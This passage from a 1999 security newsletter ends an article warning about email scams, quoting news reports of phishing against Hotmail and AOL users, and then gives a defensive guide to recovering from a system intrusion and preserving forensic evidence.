can contact <********************************************************************> So don't change your e-mail settings for ICQ, because it couldn't be good for you (try to think, why would someone tell you that you write his e-mail address in your ICQ settings, what could he absolutely get than using it against you. Well most of this scams work on a social engineering base - they try to make you believe them. (4) Combinations Following two stories were picked up by news sites. CNET (www.cnet.com) 04.03.1998 > "Hotmail suffers email scam" A Hotmail user who registered the name "admin@hotmail.com" sent out official-sounding email to an indeterminate number of people earlier this week telling users that "The trial period for your free Hotmail Service is rapidly coming to a close." It goes on to tout Hotmail's features and tells users the accounts will cost $10 per year. It then requests that the user send an email to "admin@hotmail.com" for an account form. "Payments will be accepted by certified cheque, money order, or credit cards only," it states. Hotmail pulled the account yesterday as soon as the staff found out about it, said Randy Delucchi, Hotmail's director of customer service. Delucchi said he wasn't sure how many people got the email message, but added he was sure it "wasn't very widespread at all," because Hotmail has implemented antispam measures that prevent email from being sent to more than 25 people at a time. Spammers generally like to send email to thousands of people at once. This is not the first time people have used free email to try to scam their fellow Netizens. In December, someone used Yahoo's free email to send out an official-looking letter telling users they had won a modem from Yahoo and would have to supply their names, addresses, and telephone numbers as well as a credit card number to pay for shipping. CNET (www.cnet.com) 22.04.1999 > "AOL warns of email scam" America Online is warning users that email messages posing as AOL-endorsed offers and notices are really trying to gather sensitive member information. A number of these messages have such subject headings as "AOL Server Error," "AOL Billing Problem," "Beanie Babies," or "AOL Rewards," and are intended to lure members to open them, according to a cautionary posting on the "Neighborhood Watch" page within AOL's proprietary service. The warning says the messages contain HTML hyperlinks that lead to Web sites pretending to be a standard registration Web page. But these pages ask for member screen names or passwords, which could potentially lead scammers into AOL member accounts. One sample email reads: "A database error has deleted the information for over 25,000 accounts, and yours is one. In order for us to access the back-up data of your account, we do need your password. Without your password, we will NOT be able to allow you to sign onto America Online within the next 24 hours after your opening of this letter." According to AOL spokesman Rich D'Amato, AOL posted its warnings three weeks ago, prompted by "member complaints, as well as emails that we had been seeing." So you got the point, be very carefull. Scams are different: from the realy pathetic ones (that Hotmail hacking) to more complecsive (using frame spoofing). Also note that hack/hacking words are under " ", because scams are in no way means or ways of hacking. Berislav Kucan aka BHZ bhz@net-security.org http://net-security.org XII. Intrusion and detection part two --------------------------------------- This is a follow-up to last week's article on responding to an intrusion, which can be found at http://default.net-security.org/dl/default2.txt. Today I'll go into a more in-depth look at recovering from an intrusion, and a brief look at computer forensics -- i.e., what to do if you want to try to get the law involved in the incident. Much like any other part of intrusion response, recovery from attack starts before you've been attacked. It can be very difficult to recover if you don't have recent backups of your system -- back things up regularly; nightly if possible. If you've got important information on your system, a nightly backup just makes sense. I prefer backing up to tape if you can afford a tape drive, but it's not a requirement. What you do need is some form of backup that holds your important system files and binaries, so you can restore if something happens, or a rescue disk that contains clean versions of important system binaries. Also (preferably at the time when you actually install your operating system, so you're sure it's clean), run a program that checks your system. Tripwire, for instance, is a wonderful tool that works on Solaris, Linux, and Windows NT. It takes a sort of snapshot of your system and creates a database which contains the checksum, creation date, and access permissions for each file. If you feel that your system may have been compromised, you can run tripwire against it again, and compare the results to see if anything's changed (tripwire can even be run regularly, to detect changes; perhaps run it just before your regular backup, to see if anything's been altered since your last backup). Tripwire aids in recovery because it can point out exactly which files were damaged or altered, as in the case of trojaned binaries and rootkits, and can allow quick replacement of them with good copies. And of course, the third thing to do before an intrusion begins is to be aware of intrusion detection tools. Run them, watch the logs, and be alert -- you can't recover from an attack you don't know happened. As I discussed last week, one of the most important things you can do is log, and maintain the integrity of your logs. The need for good logs really comes into play here, in several different ways. For the purposes of this article, I'm assuming that you have intrusion detection tools running, tripwire installed, and are watching and recording your logs. I should note that it's best to log to a remote, secure loghost, log to a printer, or at least make sure that if your logs are on the same host, your log files are append-only (only new text can be added) -- most rootkits now go through and edit logs to remove an attacker's traces. If you're logging to a different machine or a cheap dot matrix printer in the corner, they'll have a hard time covering their tracks -- I'm going to assume, for this article, that your logs are intact. When your intrusion detection software starts sending out alerts, the most important rule is -not- to panic. You cannot react faster than data can come in to your computer -- by the time you've noticed the attack, the attacker is already several steps ahead of you, and may already be in your system before you can react. Isolate the machine. There is one school of thought that advocates pulling the power cord out of the computer (don't shut down first; many rootkits install cleanup routines in the system's shutdown proceedures, and you'll lose anything they'd added). I don't advocate this as a first step -- I suggest pulling the network cable (modem, ethernet, whatever you have connecting your machine to the internet). Pulling the power can lose you a lot of information that would be helpful in diagnostics -- a lot of scripts put files in /tmp, for instance, and on some operating systems that would be lost on a power-down. Once you've gotten the information you need, run tripwire to get a new database of exactly what the system looks like now...-then- pull the power cord (again, don't shutdown normally). The reason for this becomes important later. It's at this point that you need to decide whether or not to pursue legal action. In most cases, especially for home users, the hassle of law enforcement involvement is not worth it, and all you'll want to do is rebuild and secure your machine. At the end of this article is a brief discussion of what to do if you -do- want to involve law enforcement. You've been attacked -- now it's time to rebuild. You have two options -- the easy way and the paranoid way. The paranoid way is pretty self-explanatory: wipe -everything- and restore from a known clean backup or reinstall from read-only media. For the easy way, turn your system back on, but -don't- plug it into the network. Get your clean backup disk (run tripwire on your backup to make certain it's clean), find the files that were altered (compare the backup's tripwire database with the current files on your system), and replace them with the safe binaries you'd had on your backup. Commonly replaced binaries include /bin/login, /bin/ps, /bin/ls, /bin/df, /usr/etc/in.telnetd, /usr/etc/in.ftpd, /usr/etc/in.tftpd, /usr/sbin/ifconfig, etc (note that these locations may be different for different flavors of UNIX). Check -everything- -- files can be changed in unexpected ways, or be added in unusual places. Some attackers like to hide their files, for instance, in /tmp, /etc/tmp, /var/temp, /usr/spool, etc. Look for files with spaces in the name. Look for alterations of /etc/hosts.equiv, /bin/.rhosts (or any .rhosts file at all), /etc/passwd, /etc/group, etc. 'Find' is a good command for this; it can be used to find all suid/sgid files, sneaky .rhosts, etc. Look for suid root binaries in unexpected places. Next, look to make sure there isn't a sniffer installed. On UNIX-based machines, if a sniffer's installed on an interface, the interface will have the PROMISC flag set (short for 'promiscuous' -- it means the interface is listening to all the traffic on the network, not just the packets intended for that interface). Sounds easy? Not so. There are scripts that install a sniffer -and- hide the PROMISC flag. The way to check is to set the interface PROMISC yourself, and then check to see if the PROMISC flag shows up. If it doesn't show up, you may have a problem -- make sure you replace ifconfig with a known good copy, and again, look for strange suid binaries and files owned by root that shouldn't be. Personally, I recommend wiping everything and starting from a good backup. It's safer, and you don't need to worry about having missed something important. Reinstalling from known good media may be paranoid, but it obviates a lot of the work of finding all files that have been tampered with, and will remove things like sniffers and back doors. If you'd like to do an in-depth analysis, make a complete sector-by-sector copy of the compromised disk before you wipe it, then mount (don't boot, mount) the copy read-only on a known good system, and do your analysis there. Now start going through the logs. What happened? Do you see anything unusual? Look as far back through your logs as you can; maybe you'll see the initial intrusion. Using another computer (or using the hacked system, if you feel lucky, punk), use search engines to look up anything in your logs you don't understand; you may be surprised at what you find. The goal is to find out exactly how the attacker got in, find the hole, and repair it. Most commonly-exploited holes have patches -- do some research on your favorite search engine, find the exploit, find the patch, and fix the hole. If you can't find anything that might have been used against you (and be sure to look in the Bugtraq archives at http://www.securityfocus.com/ -- click on 'forums' and then 'bugtraq', then 'archive'), you may want to email cert@cert.org to notify the CERT team. They may not respond, but if it really is a new exploit, they'll look into it -- see http://www.cert.org/tech_tips/incident_reporting.html for more information. Once you've got your system patched and replaced all the altered files, change all passwords on the system, just in case the attacker has your /etc/passwd (or /etc/shadow) file. But suppose you -do- want to take the matter to law enforcement. The most important thing you can do, if that's the case, is to preserve evidence...and your hard drive is evidence. When you pulled the power on your hacked machine, you preserved as much of the current state of your system as you could. Now you need to physically remove the hard drive from the computer, set it to read-only (if you want to do analysis on it, make a complete physical sector-by-sector copy, and mount it -- don't boot it -- read-only on a known 'good' system, and do your analysis on -that-), and place it in a safe along with a copy of the original tripwire database and a copy of the tripwire database you'd taken just before pulling the plug. Also put into the safe all of the relevant logs, also in read-only format to prove they have not been edited -- one idea is to print out your logs, sign and date them, and have them notarized to prove the electronic copies have not been tampered with. Include as well as much information as you had been able to gather about the attacker (see the previous article at http://default.net-security.org/dl/default2.txt for a simple discussion of how to identify the attacker). The more information you can provide law enforcement, the more likely they are to be able to prosecute. Document everything you possibly can -- a clear chain of evidence must be compiled before you can hope to have anything done, and you must be able to show that that evidence has not been tampered with. Once you have all your evidence, contact law enforcement -- I should note that, just as it's a good idea to know who your ISP's security team is ahead of time, it's handy to know ahead of time who to contact among local law. And be nice to them. You -want- them to like you. Comments to this article are welcome -- not everyone responds to incidents in the same way, and I'd be very interested in hearing other methods, or hearing opinions I may not have considered yet. /dev/null null@fiend.enoch.org (thanks to mike@enoch.org for his help with this article) -------------------------------------------------------------------------------- Default newsletter Issue #3 http://default.net-security.org 27.08.1999 Help Net Secutity http://www.net-security.org --------------------------------------------------------------------------------